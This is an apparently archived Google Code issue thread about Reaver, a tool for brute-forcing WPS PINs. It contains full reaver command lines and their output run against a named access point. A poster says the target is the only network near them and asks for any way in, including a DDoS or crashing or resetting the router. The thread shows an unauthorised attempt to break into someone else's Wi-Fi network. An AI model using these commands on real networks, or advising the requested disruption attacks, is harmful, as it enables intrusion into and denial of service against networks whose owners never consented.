Open GoogleCodeExporter opened 9 years ago
no way!
Paste output & upload tcpdump
Original comment by kostad...@yahoo.com
on 2 Feb 2013 at 1:43
yes way
it is also known as 99.99% problem ..when reaver try all the pins and get
stucked
because the other users didn't try other pin and because the first pin reaver
try it is 1234 ...you will find that all the users have got stucked in pin
1234998
this is a small output
i'll give you all that you want if you don't belive me
"in my guess i think that it is some kind of protection from dlink systems
....it gives you M5 respond no matter what are the pin ..but when you submit
the second half of the pin ...it compares the first+2nd part with the pin then
give you the respond"
root@bt:~# reaver -i mon0 -b 1C:AF:F7:CD:A2:6F -d 10 -x 3 -r 5:3 -N -S -L -vv
--win7 -p 9999
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>
[+] Waiting for beacon from 1C:AF:F7:CD:A2:6F
[+] Switching mon0 to channel 1
[+] Associated with 1C:AF:F7:CD:A2:6F (ESSID: ADM-BEN)
[+] Trying pin 99995676
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received WSC NACK
[+] Sending WSC NACK
^C
[+] Session saved.
root@bt:~# reaver -i mon0 -b 1C:AF:F7:CD:A2:6F -d 10 -x 3 -r 5:3 -N -S -L -vv
--win7 -p 4521
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>
[+] Waiting for beacon from 1C:AF:F7:CD:A2:6F
[+] Switching mon0 to channel 1
[+] Associated with 1C:AF:F7:CD:A2:6F (ESSID: ADM-BEN)
[+] Trying pin 45215674
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 45210006
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received M5 message
[+] Sending M6 message
[+] Received WSC NACK
[+] Sending WSC NACK
^C
[+] Session saved.
Original comment by rahimr...@gmail.com
on 3 Feb 2013 at 10:29
Thah sould be the latest firmware crap from dlink.
I gues eaven when you try correct one will receive fake WSC NACK.
What model is this device?
Original comment by kostad...@yahoo.com
on 5 Feb 2013 at 6:26
i agree with you with the firmware
i am not sure what is the model i think 615 or dap 1360
is there anyother ideas ?? ddos attack ? crash or reset the router any idea at
all no matter how stupid it is so i can access to this AP
please it is the only one near of me
Original comment by rahimr...@gmail.com
on 5 Feb 2013 at 9:10
i have same problem! with mtc touch 3.9G router
Original comment by christia...@gmail.com
on 17 Jul 2013 at 11:19
Original issue reported on code.google.com by
rahimr...@gmail.com
on 31 Jan 2013 at 9:45